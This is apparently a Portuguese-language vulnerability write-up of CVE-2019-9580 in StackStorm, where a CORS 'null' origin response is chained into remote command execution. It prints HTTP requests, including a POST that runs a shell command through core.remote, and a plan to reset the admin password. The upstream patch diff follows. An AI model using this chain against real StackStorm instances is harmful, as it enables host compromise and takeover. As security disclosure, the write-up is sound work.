
CVE-2019-9580 - StackStorm: explorando a configuração incorreta de CORS (origem nula) para obter RCE
Antes das versões 2.10.3/2.9.3, se a origem da requisição fosse desconhecida, retornávamos null. null pode resultar em uma requisição bem-sucedida a partir de uma origem desconhecida em alguns clientes. Permitindo a possibilidade de ataques do tipo XSS contra a API do StackStorm.
encontrado por Barak Tawily e Anna Tsibulskaya
(o usuário no Firefox é a vítima, o usuário no Chrome é o atacante)
Ao enviar uma requisição para a API do StackStorm com um cabeçalho Origin null Origin: null, o servidor responde com um Access-Control-Allow-Origin para null.
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Resposta do servidor:
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID
A exploração do CORS null está documentada em um post do blog da portswigger e podemos encontrar o seguinte payload:
O StackStorm permite configurar ações e algumas delas, como core.remote, executam comandos arbitrários no host de sua escolha.

Então, se colocarmos o host 127.0.0.1, executaremos o comando no docker do StackStorm. Legal, o RCE deve funcionar, já que uma simples requisição POST é enviada para registrar uma ação.
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131
{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}
Podemos executar comandos no host do StackStorm, tudo bem, mas vamos obter controle total sobre a plataforma StackStorm. Isso pode ser feito redefinindo a senha do administrador. Usando a documentação:
Precisa alterar a senha? Execute: sudo htpasswd /etc/st2/htpasswd st2admin. https://docs.stackstorm.com/authentication.html
Legal, vamos apenas juntar tudo :
Origin: null, a requisição POST para registrar a nova ação funciona (também definimos o parâmetro credentials: "include")
Aviso de Segurança:
From 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001
From: bigmstone <[email protected]>
Date: Tue, 5 Mar 2019 12:22:26 -0600
Subject: [PATCH] Fix improper CORS return
Prior to this commit if you sent a request from an origin not listed in
`allowed_origins` we would respond with `null` for the
`Access-Control-Allow-Origin` header. Per
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)
null should not be used as some clients will allow the request to go
through. This commit returns the first of our allowed origins if the
requesting origin is not a supported origin.
---
st2api/tests/unit/controllers/v1/test_base.py | 4 ++--
st2common/st2common/middleware/cors.py | 2 +-
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py
index 2a753f22ea..e66148a0a5 100644
--- a/st2api/tests/unit/controllers/v1/test_base.py
+++ b/st2api/tests/unit/controllers/v1/test_base.py
@@ -51,8 +51,8 @@ def test_wrong_origin(self):
'origin': 'http://xss'
})
self.assertEqual(response.status_int, 200)
- self.assertEqual(response.headers['Access-Control-Allow-Origin'],
- 'null')
+ self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),
+ 'http://127.0.0.1:3000')
def test_wildcard_origin(self):
try:
diff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py
index 5781b1a6e7..8cb407b52c 100644
--- a/st2common/st2common/middleware/cors.py
+++ b/st2common/st2common/middleware/cors.py
@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):
origin_allowed = origin
else:
# See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header
- origin_allowed = origin if origin in origins else 'null'
+ origin_allowed = origin if origin in origins else list(origins)[0]
else:
origin_allowed = list(origins)[0]